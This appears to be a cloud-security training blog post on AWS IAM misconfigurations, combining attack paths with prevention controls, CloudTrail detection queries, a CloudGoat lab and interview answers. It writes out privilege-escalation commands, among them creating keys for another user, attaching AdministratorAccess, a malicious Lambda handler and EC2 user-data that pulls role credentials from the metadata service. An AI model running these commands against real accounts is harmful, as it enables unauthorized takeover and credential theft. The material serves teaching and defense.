Skip to content
SecureKhan
Go back

Cloud IAM Misconfigurations and Attack Paths: AWS Focus

Cloud IAM Misconfigurations and Attack Paths

TL;DR: IAM is the most critical cloud security control and the most commonly misconfigured. Over-permissive policies, assumable roles, and poor credential hygiene create attack paths from initial access to full account compromise. Understanding these patterns is essential for both offense and defense.


Table of Contents

Open Table of Contents

Quick Reference

Common IAM Misconfigurations

MisconfigurationRisk LevelAttack Vector
"Action": "*"CriticalFull account access
"Resource": "*"HighUnintended resource access
Wildcard principalsCriticalUnauthorized assume role
Missing MFA conditionHighStolen credentials
No permission boundariesMediumPrivilege escalation
Long-lived access keysHighCredential theft
Over-permissioned EC2 rolesHighMetadata service abuse

AWS IAM Privilege Escalation Matrix

You HaveYou Can GetTechnique
iam:CreateAccessKeyPersistent accessCreate key for any user
iam:CreateLoginProfileConsole accessCreate password for user
iam:UpdateLoginProfileAccount takeoverReset user password
iam:AttachUserPolicyAdminAttach AdministratorAccess
iam:PutUserPolicyAdminAdd inline admin policy
iam:CreatePolicyVersionAdminUpdate policy to grant more
sts:AssumeRoleRole’s permissionsAssume powerful role
lambda:UpdateFunctionCodeRole’s permissionsInject code, get role creds
ec2:RunInstances + iam:PassRoleRole’s permissionsLaunch instance with role

How IAM Fails in Production

The Development-to-Production Pipeline Problem

┌─────────────────────────────────────────────────────────────┐
│            HOW IAM POLICIES BECOME OVER-PERMISSIVE          │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. Development Phase                                       │
│     Developer: "I keep getting Access Denied..."            │
│     Policy: "Action": "*", "Resource": "*"                  │
│     "We'll fix it later"                                    │
│                                                             │
│  2. Testing Phase                                           │
│     "It works! Ship it!"                                    │
│     Overly permissive policy goes to staging                │
│                                                             │
│  3. Production                                              │
│     "Don't touch what works"                                │
│     Policy deployed with wildcards                          │
│                                                             │
│  4. Years Later                                             │
│     Nobody knows why it has these permissions               │
│     Nobody wants to break production by changing it         │
│                                                             │
└─────────────────────────────────────────────────────────────┘

Real-World Statistics

From cloud security assessments:

Common Patterns That Lead to Compromise

PatternWhy It HappensWhy It’s Dangerous
Copy-paste policiesReusing without understandingMay include unnecessary permissions
AWS managed policiesSeem “official” so trustedOften too broad for specific use
Service-linked rolesAWS creates themCan have powerful permissions
Emergency accessCreated in crisisNever cleaned up
Development leftovers”Temporary” accessBecomes permanent

Over-Permissive Roles

Dangerous Policy Patterns

Pattern 1: The Admin Role “For Developers”

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}

Why it exists: “Developers need to do anything” Attack impact: Complete account takeover

Pattern 2: Wildcard Service Access

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:*",
        "ec2:*",
        "iam:*"
      ],
      "Resource": "*"
    }
  ]
}

Why it exists: “They need S3 access” Attack impact: iam:* allows privilege escalation

Pattern 3: Assumable by Anyone

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": "sts:AssumeRole"
    }
  ]
}

Why it exists: Configuration mistake Attack impact: Anyone can assume this role

Pattern 4: Missing Conditions

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Missing: Condition for MFA, source IP, etc. Attack impact: Stolen credentials = assumed role

Identifying Over-Permissive Policies

# AWS CLI - Find policies with wildcards
aws iam list-policies --scope Local --query 'Policies[*].[PolicyName,Arn]' --output table

# For each policy, get the default version
aws iam get-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
  --version-id v1 \
  --query 'PolicyVersion.Document'

# Search for wildcards
aws iam get-policy-version ... | grep -E '"Action":\s*"\*"|"Resource":\s*"\*"'

# Use IAM Access Analyzer for external access
aws accessanalyzer list-findings --analyzer-arn <analyzer-arn>

AWS Managed Policies to Audit

PolicyRiskWhy
AdministratorAccessCriticalFull account control
PowerUserAccessHighAll services except IAM
IAMFullAccessCriticalComplete IAM control
AmazonEC2FullAccessHighCan launch with roles
AWSLambdaFullAccessHighCode execution

Privilege Escalation Paths

IAM-Based Escalation

Path 1: Create Access Key

# If you have iam:CreateAccessKey for another user
aws iam create-access-key --user-name admin-user

# Now you have admin-user's credentials
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...

Required permission: iam:CreateAccessKey Target: User with more permissions

Path 2: Attach Policy

# If you have iam:AttachUserPolicy
aws iam attach-user-policy \
  --user-name your-user \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Now you're admin

Required permission: iam:AttachUserPolicy (or AttachRolePolicy) Impact: Self-escalation to admin

Path 3: Create Policy Version

# If you have iam:CreatePolicyVersion on a policy attached to you
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
  --policy-document file://admin-policy.json \
  --set-as-default

# admin-policy.json grants you more permissions

Required permission: iam:CreatePolicyVersion Impact: Modify your own permissions

Path 4: Update Assume Role Policy

# If you have iam:UpdateAssumeRolePolicy
aws iam update-assume-role-policy \
  --role-name AdminRole \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {"AWS": "arn:aws:iam::123456789012:user/attacker"},
      "Action": "sts:AssumeRole"
    }]
  }'

# Now assume the admin role
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pwned

Service-Based Escalation

Path 5: Lambda Code Update

# If you have lambda:UpdateFunctionCode
# Create malicious code that uses Lambda's role

import boto3
def handler(event, context):
    iam = boto3.client('iam')
    # Use Lambda's role to escalate
    iam.attach_user_policy(
        UserName='attacker',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )

# Update function with your code
aws lambda update-function-code \
  --function-name HighPrivFunction \
  --zip-file fileb://evil.zip

# Invoke it
aws lambda invoke --function-name HighPrivFunction output.json

Required permissions: lambda:UpdateFunctionCode, lambda:InvokeFunction Impact: Gain Lambda execution role’s permissions

Path 6: EC2 Instance with Role

# If you have ec2:RunInstances + iam:PassRole
aws ec2 run-instances \
  --image-id ami-12345678 \
  --instance-type t2.micro \
  --iam-instance-profile Name=AdminRole \
  --user-data '#!/bin/bash
    # Steal role credentials from metadata
    curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
  '

Required permissions: ec2:RunInstances, iam:PassRole Impact: Get instance role credentials

Privilege Escalation Detection

-- CloudTrail query for escalation attempts
SELECT
    eventTime,
    userIdentity.arn,
    eventName,
    requestParameters
FROM cloudtrail_logs
WHERE eventName IN (
    'CreateAccessKey',
    'AttachUserPolicy',
    'AttachRolePolicy',
    'PutUserPolicy',
    'PutRolePolicy',
    'CreatePolicyVersion',
    'UpdateAssumeRolePolicy',
    'UpdateFunctionCode'
)
AND errorCode IS NULL
ORDER BY eventTime DESC

Cross-Account Attacks

How Cross-Account Access Works

┌────────────────────────┐     ┌────────────────────────┐
│   Account A (Victim)   │     │  Account B (Attacker)  │
│                        │     │                        │
│  ┌──────────────────┐  │     │  ┌──────────────────┐  │
│  │     IAM Role     │  │     │  │    IAM User      │  │
│  │  (CrossAcctRole) │◄─┼─────┼──│   (attacker)     │  │
│  └──────────────────┘  │     │  └──────────────────┘  │
│                        │     │                        │
│  Trust Policy:         │     │  Has permission:       │
│  "Principal": {        │     │  sts:AssumeRole        │
│    "AWS": "Account B"  │     │                        │
│  }                     │     │                        │
└────────────────────────┘     └────────────────────────┘

Misconfigured Cross-Account Roles

Vulnerability 1: Wildcard Principal

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": "sts:AssumeRole"
    }
  ]
}

Impact: ANY AWS account can assume this role

Vulnerability 2: Too-Broad Account Trust

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Issue: Trusts entire account, not specific role/user Impact: Any principal in that account can assume

Exploiting Cross-Account Access

# Enumerate assumable roles from your account
# Use tools like enumerate-iam or pacu

# Assume discovered role
aws sts assume-role \
  --role-arn arn:aws:iam::VICTIM_ACCOUNT:role/CrossAccountRole \
  --role-session-name attack

# Use returned credentials
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Now operating as role in victim account
aws sts get-caller-identity

Securing Cross-Account Access

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:role/SpecificRole"
      },
      "Action": "sts:AssumeRole",
      "Condition": {
        "StringEquals": {
          "sts:ExternalId": "UniqueSecretId123"
        },
        "Bool": {
          "aws:MultiFactorAuthPresent": "true"
        },
        "IpAddress": {
          "aws:SourceIp": "10.0.0.0/8"
        }
      }
    }
  ]
}

Best practices:


Detection and Prevention

Prevention Controls

1. Service Control Policies (SCPs)

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyIAMChangesWithoutMFA",
      "Effect": "Deny",
      "Action": [
        "iam:CreateUser",
        "iam:DeleteUser",
        "iam:AttachUserPolicy",
        "iam:CreateAccessKey"
      ],
      "Resource": "*",
      "Condition": {
        "BoolIfExists": {
          "aws:MultiFactorAuthPresent": "false"
        }
      }
    },
    {
      "Sid": "PreventPrivilegeEscalation",
      "Effect": "Deny",
      "Action": [
        "iam:CreatePolicyVersion",
        "iam:SetDefaultPolicyVersion",
        "iam:AttachUserPolicy",
        "iam:AttachRolePolicy"
      ],
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalArn": "arn:aws:iam::*:role/SecurityAdmin"
        }
      }
    }
  ]
}

2. Permission Boundaries

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:*",
        "dynamodb:*",
        "lambda:*"
      ],
      "Resource": "*"
    },
    {
      "Effect": "Deny",
      "Action": [
        "iam:*",
        "organizations:*",
        "cloudtrail:DeleteTrail",
        "cloudtrail:StopLogging"
      ],
      "Resource": "*"
    }
  ]
}

Apply as permission boundary to all developer roles.

3. AWS Config Rules

# config-rules.yaml
Resources:
  IAMNoWildcardPolicy:
    Type: AWS::Config::ConfigRule
    Properties:
      ConfigRuleName: iam-no-wildcard-policy
      Source:
        Owner: AWS
        SourceIdentifier: IAM_POLICY_NO_STATEMENTS_WITH_ADMIN_ACCESS

  IAMUserMFAEnabled:
    Type: AWS::Config::ConfigRule
    Properties:
      ConfigRuleName: iam-user-mfa-enabled
      Source:
        Owner: AWS
        SourceIdentifier: IAM_USER_MFA_ENABLED

  IAMNoInlinePolicy:
    Type: AWS::Config::ConfigRule
    Properties:
      ConfigRuleName: iam-no-inline-policy
      Source:
        Owner: AWS
        SourceIdentifier: IAM_NO_INLINE_POLICY_CHECK

Detection Queries

CloudTrail Athena Queries

-- Detect privilege escalation attempts
SELECT
    eventtime,
    useridentity.arn as actor,
    eventsource,
    eventname,
    requestparameters,
    errorcode
FROM cloudtrail_logs
WHERE eventname IN (
    'AttachUserPolicy',
    'AttachRolePolicy',
    'PutUserPolicy',
    'PutRolePolicy',
    'CreateAccessKey',
    'UpdateAssumeRolePolicy',
    'CreatePolicyVersion'
)
AND eventtime > date_add('day', -1, current_date)
ORDER BY eventtime DESC;

-- Detect cross-account role assumption
SELECT
    eventtime,
    useridentity.arn as assumer,
    requestparameters.rolearn as role_assumed,
    sourceipaddress,
    useridentity.accountid as source_account
FROM cloudtrail_logs
WHERE eventname = 'AssumeRole'
AND useridentity.accountid != 'YOUR_ACCOUNT_ID'
ORDER BY eventtime DESC;

GuardDuty Findings to Monitor

Finding TypeIndicates
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltrationCreds used outside EC2
Policy:IAMUser/RootCredentialUsageRoot account usage
Recon:IAMUser/UserPermissionsPermission enumeration
PrivilegeEscalation:IAMUser/AdministrativePermissionsPolicy change for escalation

Hands-On Lab

Lab: Exploit IAM Misconfiguration

Setup: Use CloudGoat or similar AWS vulnerable-by-design environment.

Task 1: Enumerate Your Permissions

# Check who you are
aws sts get-caller-identity

# Enumerate permissions (manual)
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query 'Arn' --output text | cut -d'/' -f2)

# Or use enumerate-iam tool
pip install enumerate-iam
enumerate-iam --access-key AKIA... --secret-key ...

Task 2: Identify Escalation Paths

# Check if you can create access keys
aws iam list-users
aws iam create-access-key --user-name target-user

# Check if you can attach policies
aws iam attach-user-policy --user-name your-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Check assumable roles
aws iam list-roles --query 'Roles[*].AssumeRolePolicyDocument'

Task 3: Execute Privilege Escalation

# If you have iam:AttachUserPolicy
aws iam attach-user-policy \
  --user-name your-user \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Verify escalation
aws iam list-attached-user-policies --user-name your-user

Task 4: Detect the Attack

# Query CloudTrail for your activity
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=your-user \
  --query 'Events[*].{Time:EventTime,Event:EventName}'

Interview Questions & Answers

Basic Questions

Q1: What are the most common AWS IAM misconfigurations you look for?

Strong Answer: “I look for several high-risk patterns:

1. Overly permissive policies:

  • \"Action\": \"*\" or \"Resource\": \"*\"
  • AWS managed policies that are too broad for the use case

2. Dangerous IAM permissions:

  • iam:* on any role that doesn’t absolutely need it
  • iam:PassRole without resource restrictions
  • sts:AssumeRole with wildcards

3. Trust policy issues:

  • Wildcard principals (\"Principal\": \"*\")
  • Missing conditions (no MFA, no ExternalId)
  • Trusting entire accounts instead of specific roles

4. Credential hygiene:

  • Long-lived access keys instead of roles
  • Root account access keys existing
  • MFA not enforced

I use tools like IAM Access Analyzer, custom Config rules, and manual policy review to identify these.”

Q2: Explain how privilege escalation works in AWS IAM.

Strong Answer: “IAM privilege escalation occurs when a user with limited permissions leverages specific IAM permissions to gain higher privileges.

Common paths:

1. Policy modification:

  • iam:AttachUserPolicy - Attach admin policy to yourself
  • iam:PutUserPolicy - Add inline admin policy
  • iam:CreatePolicyVersion - Modify policy attached to you

2. Credential access:

  • iam:CreateAccessKey - Create keys for higher-priv user
  • iam:UpdateLoginProfile - Reset another user’s password

3. Role assumption:

  • iam:UpdateAssumeRolePolicy - Allow yourself to assume powerful role
  • sts:AssumeRole - Assume misconfigured role

4. Service-based:

  • lambda:UpdateFunctionCode + invoke = get Lambda role’s creds
  • ec2:RunInstances + iam:PassRole = get EC2 role’s creds

The key insight is that permissions to modify IAM are as dangerous as the permissions they can grant. A user with iam:AttachUserPolicy effectively has admin access.”

Intermediate Questions

Q3: How would you detect IAM-based privilege escalation?

Strong Answer: “I implement detection at multiple layers:

1. CloudTrail monitoring: Alert on high-risk API calls:

  • AttachUserPolicy, AttachRolePolicy
  • PutUserPolicy, PutRolePolicy
  • CreatePolicyVersion
  • CreateAccessKey (especially for other users)
  • UpdateAssumeRolePolicy

2. GuardDuty:

  • Enable PrivilegeEscalation finding types
  • Monitor UnauthorizedAccess findings

3. Custom detection rules:

-- Alert when non-admin modifies IAM
SELECT * FROM cloudtrail
WHERE eventName LIKE '%Policy%'
AND userIdentity.arn NOT LIKE '%SecurityAdmin%'

4. AWS Config:

  • Rule to detect policies with admin access
  • Rule to detect inline policies (harder to audit)

5. Behavioral baseline:

  • Alert when user performs IAM actions they’ve never done
  • Alert when role is assumed from unusual location

For response, I’d have runbooks to immediately revoke the escalated permissions and investigate the full attack chain.”

Q4: A developer says they need admin access to do their job. How do you handle this?

Strong Answer: “I approach this collaboratively:

1. Understand the actual requirement:

  • What specific actions do they need?
  • What resources do they need to access?
  • Is this ongoing or one-time?

2. Apply least privilege:

  • Create custom policy with only necessary permissions
  • Scope resources to specific ARNs, not wildcards
  • Add conditions (MFA, source IP) where appropriate

3. Use time-bounded access:

  • For one-time tasks: temporary credentials via STS
  • For ongoing: regular access review and certification

4. Implement guardrails:

  • Permission boundaries to cap maximum privileges
  • SCPs to prevent dangerous actions
  • Require MFA for sensitive operations

5. Provide alternatives:

  • Pre-built automation that does the task with elevated privileges
  • Approval workflow for sensitive operations
  • Separate accounts for development vs production

The goal is enabling their work while maintaining security. Usually ‘I need admin’ translates to ‘I need these specific 10 permissions.’”

Advanced Questions

Q5: Design an IAM security architecture for a multi-account AWS organization.

Strong Answer: “I’d implement a layered approach:

Account Structure:

Management Account (billing, SCPs only)
├── Security OU
│   ├── Log Archive (centralized CloudTrail)
│   ├── Security Tooling (GuardDuty, Security Hub)
│   └── Audit (read-only access to all accounts)
├── Infrastructure OU
│   └── Shared Services (DNS, CI/CD)
└── Workloads OU
    ├── Production
    └── Non-Production

IAM Controls:

1. No IAM users in workload accounts:

  • All human access via SSO/federation
  • Assume roles from identity account
  • Time-bounded sessions

2. Service Control Policies:

  • Prevent disabling CloudTrail/GuardDuty
  • Require IMDSv2 for EC2
  • Prevent leaving organization
  • Restrict regions if needed

3. Permission Boundaries:

  • All developer-created roles must have boundary
  • Boundary prevents IAM escalation

4. Centralized IAM pipeline:

  • IAM changes via Infrastructure-as-Code
  • Require security review for policy changes
  • Automated policy analysis in CI/CD

5. Monitoring:

  • Centralized CloudTrail in Log Archive
  • GuardDuty delegated admin in Security account
  • Automated alerting on IAM changes

6. Break-glass procedure:

  • Emergency access role with heavy logging
  • Requires approval and has time limit
  • Post-incident review required”

Q6: How would you investigate a suspected IAM credential compromise?

Strong Answer: “I follow a structured incident response:

1. Immediate containment:

  • Disable compromised access keys
  • Revoke active sessions (attach deny-all inline policy)
  • Don’t delete - preserve for investigation

2. Scope determination:

  • What permissions did the credential have?
  • What’s the blast radius?

3. CloudTrail investigation:

SELECT * FROM cloudtrail
WHERE userIdentity.accessKeyId = 'AKIA...'
OR userIdentity.arn LIKE '%compromised-user%'
ORDER BY eventTime

4. Look for:

  • Reconnaissance: List*, Get*, Describe* calls
  • Privilege escalation: IAM modification attempts
  • Persistence: New users, access keys, roles created
  • Lateral movement: AssumeRole to other accounts
  • Data access: S3 GetObject, secrets access
  • Data exfiltration: Large data transfers

5. Check for persistence:

  • New access keys on any user
  • New IAM users
  • Modified trust policies on roles
  • Lambda functions or EC2 instances launched

6. Remediation:

  • Remove any attacker persistence
  • Rotate potentially exposed secrets
  • Update policies to prevent recurrence

7. Post-incident:

  • Document timeline and impact
  • Update detection rules
  • Conduct lessons learned”

Glossary

TermDefinition
IAMIdentity and Access Management
PrincipalEntity that can take actions (user, role, service)
PolicyDocument defining permissions
Trust PolicyDefines who can assume a role
Permission BoundaryMaximum permissions a role can have
SCPService Control Policy (org-level guardrail)
AssumeRoleGetting temporary credentials for a role
ExternalIdSecret for third-party role assumption

What’s Next

Continue building your cloud security expertise:

  1. Cloud Fundamentals - AWS basics
  2. Securing CI/CD Pipelines - Secure deployment
  3. Detection Engineering - Build cloud detections

Questions or feedback? Open an issue on GitHub.


Share this post on:

Previous Post
Windows Privilege Escalation Guide
Next Post
Content Security Policy Explained Simply: Attack and Defense